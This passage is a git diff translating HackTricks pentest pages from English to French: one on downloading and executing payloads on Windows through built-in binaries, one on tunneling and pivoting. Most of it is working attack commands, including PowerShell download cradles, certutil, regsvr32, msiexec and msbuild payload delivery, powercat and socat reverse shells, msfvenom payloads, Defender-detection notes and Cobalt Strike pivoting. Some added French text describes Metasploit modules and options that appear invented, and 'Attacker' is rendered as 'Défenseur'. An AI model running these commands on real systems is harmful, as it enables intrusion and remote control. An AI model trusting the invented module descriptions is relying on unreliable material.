malveillant sur une machine Windows. Metasploit propose un module pour exploiter cette technique. + +##### Utilisation + +``` +use exploit/windows/local/regsvr32 +set PAYLOAD windows/meterpreter/reverse_tcp +set LHOST +set LPORT +set RHOST +set RPORT +set REGSVR32_PATH +set REGSVR32_ARGS +set DLL_URL +set DLL_NAME +set DLL_PATH +set TARGET +run +``` + +##### Exemple + +``` +use exploit/windows/local/regsvr32 +set PAYLOAD windows/meterpreter/reverse_tcp +set LHOST 192.168.1.10 +set LPORT 4444 +set RHOST 192.168.1.20 +set RPORT 445 +set REGSVR32_PATH C:\Windows\System32\regsvr32.exe +set REGSVR32_ARGS /s /u /i +set DLL_URL http://192.168.1.10:8000/evil.dll +set DLL_NAME evil.dll +set DLL_PATH C:\Windows\Temp\evil.dll +set TARGET x64 +run +``` + +##### Explication + +Ce module utilise la technique Regsvr32 pour télécharger et exécuter un fichier DLL malveillant sur la machine cible. Le fichier DLL est téléchargé depuis une URL spécifiée et enregistré dans un emplacement temporaire sur la machine cible. Ensuite, Regsvr32 est utilisé pour exécuter le fichier DLL malveillant. Le module prend en charge les architectures x86 et x64. ```bash use multi/script/web_delivery set target 3 @@ -303,60 +392,54 @@ set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` - -**You can download & execute very easily a Koadic zombie using the stager regsvr** +**Vous pouvez télécharger et exécuter très facilement un zombie Koadic en utilisant le stager regsvr** ## Certutil -Download a B64dll, decode it and execute it. - +Téléchargez un fichier B64dll, décodez-le et exécutez-le. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` - -Download a B64exe, decode it and execute it. - +Téléchargez un fichier B64exe, décodez-le et exécutez-le. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` - -**Detected by defender** +**Détecté par Defender** ***
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lisez les tutoriels sur les bugs web3 -🔔 Get notified about new bug bounties +🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs -💬 Participate in community discussions +💬 Participez aux discussions de la communauté ## **Cscript/Wscript** - ```bash powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\"" ``` - **Cscript - Metasploit** +Le module `exploit/windows/local/cscript` de Metasploit permet d'exécuter du code arbitraire en tant qu'utilisateur SYSTEM en utilisant le binaire `cscript.exe` de Windows. Ce module exploite une vulnérabilité de DLL hijacking dans `cscript.exe` pour charger une DLL malveillante et exécuter du code arbitraire. + +Pour utiliser ce module, il suffit de configurer les options `SESSION` et `PAYLOAD`, puis de lancer l'exploit. Une fois l'exploit réussi, l'utilisateur SYSTEM sera créé et un shell sera ouvert. + +Il est important de noter que ce module ne fonctionne que sur les versions de Windows antérieures à Windows 10. ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs ``` - -**Detected by defender** +## Détecté par Defender ## PS-Bat - ```bash \\webdavserver\folder\batchfile.bat ``` - -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - +Processus effectuant un appel réseau : **svchost.exe**\ +Charge utile écrite sur le disque : **Cache local du client WebDAV** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat impacket-smbserver -smb2support kali `pwd` @@ -365,37 +448,29 @@ impacket-smbserver -smb2support kali `pwd` ```bash \\10.8.0.3\kali\shell.bat ``` - -**Detected by defender** +## **Détecté par Defender** ## **MSIExec** -Attacker - +Défenseur ``` msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` - -Victim: - +Victime: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` - -**Detected** +**Détecté** ## **Wmic** - ``` wmic os get /format:"https://webserver/payload.xsl" ``` +Processus effectuant un appel réseau: **wmic.exe**\ +Charge utile écrite sur le disque: **cache local d'IE** -Process performing network call: **wmic.exe**\ -Payload written on disk: **IE local cache** - -Example xsl file: - +Exemple de fichier xsl: ``` @@ -407,107 +482,89 @@ Example xsl file: ``` +Extrait de [ici](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7) -Extracted from [here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7) +**Non détecté** -**Not detected** - -**You can download & execute very easily a Koadic zombie using the stager wmic** +**Vous pouvez télécharger et exécuter très facilement un zombie Koadic en utilisant le stager wmic** ## Msbuild - ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` +Processus effectuant un appel réseau: **svchost.exe**\ +Charge utile écrite sur le disque: **Cache local du client WebDAV** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.\ -Just download this and execute it: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) - +Vous pouvez utiliser cette technique pour contourner la liste blanche d'applications et les restrictions de Powershell.exe. Vous serez invité avec un shell PS.\ +Téléchargez simplement ceci et exécutez-le: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ``` - -**Not detected** +**Non détecté** ## **CSC** -Compile C# code in the victim machine. - +Compiler du code C# sur la machine victime. ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` +Vous pouvez télécharger un shell inversé C# de base à partir d'ici: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) -You can download a basic C# reverse shell from here: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) - -**Not deteted** +**Non détecté** ## **Regasm/Regsvc** - ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll ``` +Processus effectuant un appel réseau: **svchost.exe**\ +Charge utile écrite sur le disque: **Cache local du client WebDAV** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -**I haven't tried it** +**Je ne l'ai pas essayé** [**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182) ## Odbcconf - ``` odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} ``` +Processus effectuant un appel réseau : **svchost.exe**\ +Charge utile écrite sur le disque : **cache local du client WebDAV** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -**I haven't tried it** +**Je ne l'ai pas essayé** [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2) -## Powershell Shells +## Shells Powershell ### PS-Nishang [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -In the **Shells** folder, there are a lot of different shells. To download and execute Invoke-_PowerShellTcp.ps1_ make a copy of the script and append to the end of the file: - +Dans le dossier **Shells**, il y a beaucoup de shells différents. Pour télécharger et exécuter Invoke-_PowerShellTcp.ps1_, faites une copie du script et ajoutez à la fin du fichier : ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` - -Start serving the script in a web server and execute it on the victim's end: - +Commencez à servir le script sur un serveur web et exécutez-le sur l'ordinateur de la victime : ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` +Defender ne le détecte pas comme un code malveillant (pour l'instant, 3/04/2019). -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**TODO: Check other nishang shells** +**TODO: Vérifier les autres shells de nishang** ### **PS-Powercat** [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) -Download, start a web server, start the listener, and execute it on the victim's end: - +Téléchargez, démarrez un serveur web, démarrez l'écouteur et exécutez-le sur l'ordinateur de la victime : ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` +Defender ne le détecte pas comme un code malveillant (pour l'instant, 3/04/2019). -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**Other options offered by powercat:** - -Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... +**Autres options offertes par powercat:** +Lier des shells, Shell inversé (TCP, UDP, DNS), Redirection de port, téléchargement/téléversement, Générer des charges utiles, Servir des fichiers... ``` Serve a cmd Shell: powercat -l -p 443 -e cmd @@ -524,50 +581,41 @@ Generate a reverse tcp payload which connects back to 10.1.1.15 port 443: Start A Persistent Server That Serves a File: powercat -l -p 443 -i C:\inputfile -rep ``` - ### Empire [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) -Create a powershell launcher, save it in a file and download and execute it. - +Créez un lanceur PowerShell, enregistrez-le dans un fichier, téléchargez-le et exécutez-le. ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` - -**Detected as malicious code** +**Détecté comme code malveillant** ### MSF-Unicorn [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -Create a powershell version of metasploit backdoor using unicorn - +Créez une version PowerShell de la porte dérobée Metasploit en utilisant Unicorn. ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` - -Start msfconsole with the created resource: - +Démarrez msfconsole avec la ressource créée: ``` msfconsole -r unicorn.rc ``` - -Start a web server serving the _powershell\_attack.txt_ file and execute in the victim: - +Démarrez un serveur web servant le fichier _powershell\_attack.txt_ et exécutez sur la victime: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` +## Détecté comme code malveillant -**Detected as malicious code** +## Plus -## More - -[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console with some offensive PS modules preloaded (cyphered)\ +[PS>Attack](https://github.com/jaredhaight/PSAttack) Console PS avec quelques modules PS offensifs préchargés (chiffrés)\ [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ -WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive PS modules and proxy detection (IEX) +WinPWN](https://github.com/SecureThisShit/WinPwn) Console PS avec quelques modules PS offensifs et détection de proxy (IEX) -## Bibliography +## Bibliographie * [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) * [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x) @@ -580,22 +628,22 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lisez les tutoriels sur les bugs web3 -🔔 Get notified about new bug bounties +🔔 Soyez informé des nouveaux programmes de primes pour bugs -💬 Participate in community discussions +💬 Participez aux discussions de la communauté
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md index eb2e0ab5e..0079b81e8 100644 --- a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md +++ b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md @@ -1,27 +1,26 @@ -# Tunneling and Port Forwarding +# Tunneling et Port Forwarding
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-## Nmap tip +## Astuce Nmap {% hint style="warning" %} -**ICMP** and **SYN** scans cannot be tunnelled through socks proxies, so we must **disable ping discovery** (`-Pn`) and specify **TCP scans** (`-sT`) for this to work. +Les scans **ICMP** et **SYN** ne peuvent pas être tunnelisés via des proxies socks, donc nous devons **désactiver la découverte de ping** (`-Pn`) et spécifier des **scans TCP** (`-sT`) pour que cela fonctionne. {% endhint %} ## **Bash** -**Host -> Jump -> InternalA -> InternalB** - +**Hôte -> Saut -> InterneA -> InterneB** ```bash # On the jump server connect the port 3333 to the 5985 mknod backpipe p; @@ -37,19 +36,15 @@ cat <&4 >&3 & # From the host, you can now access InternalB from the Jump server evil-winrm -u username -i Jump ``` - ## **SSH** -SSH graphical connection (X) - +Connexion graphique SSH (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` +### Port local à port local -### Local Port2Port - -Open new Port in SSH Server --> Other port - +Ouvrez un nouveau port dans le serveur SSH --> Autre port ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` @@ -57,29 +52,23 @@ ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in ```bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere ``` - ### Port2Port -Local port --> Compromised host (SSH) --> Third\_box:Port - +Port local --> Hôte compromis (SSH) --> Troisième\_boîte:Port ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example sudo ssh -L 631::631 -N -f -l ``` - ### Port2hostnet (proxychains) -Local Port --> Compromised host (SSH) --> Wherever - +Port local --> Hôte compromis (SSH) --> N'importe où ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` +### Transfert de port inverse -### Reverse Port Forwarding - -This is useful to get reverse shells from internal hosts through a DMZ to your host: - +Ceci est utile pour obtenir des shells inverses à partir d'hôtes internes à travers une DMZ vers votre hôte: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000 @@ -88,13 +77,11 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # and change the line "GatewayPorts no" to "GatewayPorts yes" # to be able to make ssh listen in non internal interfaces in the victim (443 in this case) ``` - ### VPN-Tunnel -You need **root in both devices** (as you are going to create new interfaces) and the sshd config has to allow root login:\ +Vous avez besoin de **root dans les deux appareils** (car vous allez créer de nouvelles interfaces) et la configuration sshd doit autoriser la connexion root:\ `PermitRootLogin yes`\ `PermitTunnel yes` - ```bash ssh root@server -w any:any #This will create Tun interfaces in both devices ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP @@ -102,48 +89,58 @@ ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface ``` - -Enable forwarding on the Server side - +Activer la redirection côté serveur ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` - -Set a new route on the client side - +Créez une nouvelle route côté client ``` route add -net 10.0.0.0/16 gw 1.1.1.1 ``` - ## SSHUTTLE -You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\ -For example, forwarding all the traffic going to 10.10.10.0/24 - +Vous pouvez **tunnéliser** tout le **trafic** vers un **sous-réseau** via un hôte en utilisant **ssh**.\ +Par exemple, en redirigeant tout le trafic allant vers 10.10.10.0/24. ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` -Connect with a private key +# Se connecter avec une clé privée + +Lorsque vous vous connectez à un serveur distant, vous pouvez utiliser une clé privée pour vous authentifier. Cela est souvent plus sûr que d'utiliser un mot de passe, car les clés privées sont plus difficiles à deviner ou à intercepter. + +Pour vous connecter à un serveur distant avec une clé privée, vous devez suivre les étapes suivantes : + +1. Générez une paire de clés publique/privée sur votre machine locale si vous n'en avez pas déjà une. Vous pouvez utiliser la commande `ssh-keygen` pour cela. + +2. Copiez la clé publique sur le serveur distant. Vous pouvez utiliser la commande `ssh-copy-id` pour cela. + +3. Connectez-vous au serveur distant en utilisant la clé privée. Vous pouvez utiliser la commande `ssh` pour cela, en spécifiant le chemin de la clé privée avec l'option `-i`. + +Voici un exemple de commande pour vous connecter à un serveur distant avec une clé privée : + +```bash +ssh -i /chemin/vers/la/clé/privée utilisateur@serveur distant +``` + +Assurez-vous de remplacer `/chemin/vers/la/clé/privée`, `utilisateur` et `serveur distant` par les valeurs appropriées pour votre configuration. ```bash sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' # -D : Daemon mode ``` - ## Meterpreter ### Port2Port -Local port --> Compromised host (active session) --> Third\_box:Port - +Port local --> Hôte compromis (session active) --> Troisième\_boîte:Port ```bash # Inside a meterpreter session portfwd add -l -p -r ``` - ### SOCKS +SOCKS (Socket Secure) est un protocole de réseau qui permet aux applications de se connecter à un serveur proxy. Le serveur proxy agit comme un intermédiaire entre l'application cliente et le serveur de destination. SOCKS peut être utilisé pour contourner les pare-feux et les filtres de contenu, ainsi que pour masquer l'adresse IP de l'utilisateur. Les versions les plus courantes de SOCKS sont SOCKS4 et SOCKS5. SOCKS5 offre des fonctionnalités supplémentaires telles que l'authentification et la prise en charge de l'UDP. ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) @@ -151,9 +148,7 @@ use auxiliary/server/socks_proxy run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - -Another way: - +Une autre méthode: ```bash background #meterpreter session use post/multi/manage/autoroute @@ -166,13 +161,11 @@ set VERSION 4a run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - ## Cobalt Strike -### SOCKS proxy - -Open a port in the teamserver listening in all the interfaces that can be used to **route the traffic through the beacon**. +### Proxy SOCKS +Ouvrez un port dans le serveur d'équipe en écoutant sur toutes les interfaces qui peuvent être utilisées pour **router le trafic à travers le beacon**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -180,52 +173,44 @@ beacon> socks 1080 # Set port 1080 as proxy server in proxychains.conf proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ``` - ### rPort2Port {% hint style="warning" %} -In this case, the **port is opened in the beacon host**, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port +Dans ce cas, le **port est ouvert dans l'hôte beacon**, pas dans le serveur d'équipe et le trafic est envoyé au serveur d'équipe et de là à l'hôte:port indiqué. {% endhint %} - ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` +À noter : -To note: - -* Beacon's reverse port forward **always tunnels the traffic to the Team Server** and the **Team Server sends the traffic to its intended destination**, so shouldn't be used to relay traffic between individual machines. -* The **traffic is tunnelled inside Beacon's C2 traffic**, not over separate sockets, and also works over P2P links. -* You **don't need to be a local admin** to create reverse port forwards on high ports. +* La redirection de port inverse de Beacon **toujours tunnelise le trafic vers le serveur d'équipe** et le **serveur d'équipe envoie le trafic à sa destination prévue**, donc ne doit pas être utilisée pour relayer le trafic entre des machines individuelles. +* Le **trafic est tunnelisé à l'intérieur du trafic C2 de Beacon**, pas sur des sockets séparés, et fonctionne également sur des liens P2P. +* Vous **n'avez pas besoin d'être un administrateur local** pour créer des redirections de port inverse sur des ports élevés. ### rPort2Port local {% hint style="warning" %} -In this case, the **port is opened in the beacon host**, not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port +Dans ce cas, le **port est ouvert dans l'hôte Beacon**, pas dans le serveur d'équipe et le **trafic est envoyé au client Cobalt Strike** (pas au serveur d'équipe) et de là à l'hôte:port indiqué. {% endhint %} - ``` rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` - ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) -You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp - +Vous devez télécharger un tunnel de fichier web: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` - ## Chisel -You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ -You need to use the **same version for client and server** +Vous pouvez le télécharger depuis la page des versions de [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ +Vous devez utiliser **la même version pour le client et le serveur** ### socks - ```bash ./chisel server -p 8080 --reverse #Server -- Attacker ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim @@ -234,21 +219,53 @@ You need to use the **same version for client and server** ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` +### Transfert de port -### Port forwarding +--- +#### Introduction + +Le transfert de port (port forwarding) est une technique qui permet de rediriger le trafic réseau d'un port spécifique d'une machine vers un autre port d'une autre machine. Cette technique est souvent utilisée pour contourner les restrictions de pare-feu ou pour accéder à des services qui ne sont pas directement accessibles depuis l'extérieur. + +#### Local Port Forwarding + +Le transfert de port local (local port forwarding) permet de rediriger le trafic d'un port local vers un autre port sur une machine distante. Cette technique est souvent utilisée pour accéder à des services qui ne sont pas directement accessibles depuis l'extérieur. + +Pour mettre en place un transfert de port local, il suffit d'utiliser la commande suivante : + +``` +ssh -L :: @ +``` + +#### Remote Port Forwarding + +Le transfert de port distant (remote port forwarding) permet de rediriger le trafic d'un port distant vers un autre port sur une machine locale. Cette technique est souvent utilisée pour contourner les restrictions de pare-feu. + +Pour mettre en place un transfert de port distant, il suffit d'utiliser la commande suivante : + +``` +ssh -R :: @ +``` + +#### Dynamic Port Forwarding + +Le transfert de port dynamique (dynamic port forwarding) permet de créer un tunnel SOCKS qui permet de rediriger le trafic de plusieurs ports vers une machine distante. Cette technique est souvent utilisée pour contourner les restrictions de pare-feu ou pour accéder à des services qui ne sont pas directement accessibles depuis l'extérieur. + +Pour mettre en place un transfert de port dynamique, il suffit d'utiliser la commande suivante : + +``` +ssh -D @ +``` ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim ``` - ## Rpivot [https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot) -Reverse tunnel. The tunnel is started from the victim.\ -A socks4 proxy is created on 127.0.0.1:1080 - +Tunnel inversé. Le tunnel est démarré depuis la victime.\ +Un proxy socks4 est créé sur 127.0.0.1:1080. ```bash attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` @@ -256,9 +273,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127 ```bash victim> python client.py --server-ip --server-port 9999 ``` - -Pivot through **NTLM proxy** - +Pivoter via un proxy **NTLM** ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` @@ -266,39 +281,81 @@ victim> python client.py --server-ip --server-port 9999 --ntl ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45 ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### Shell de liaison ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 ``` - -### Reverse shell - +### Shell inversé ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - -### Port2Port - +### Port à Port ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` +### Port2Port via socks -### Port2Port through socks +--- +Il est possible de faire du port forwarding à travers un proxy socks en utilisant la commande `socat`. + +La commande suivante permet de rediriger le trafic du port local `LOCAL_PORT` vers le port distant `REMOTE_PORT` via un proxy socks sur `SOCKS_PROXY_IP:SOCKS_PROXY_PORT`: + +``` +socat TCP-LISTEN:LOCAL_PORT,fork SOCKS4A:SOCKS_PROXY_IP:REMOTE_HOST:%REMOTE_PORT,socksport=SOCKS_PROXY_PORT +``` + +Il est important de noter que 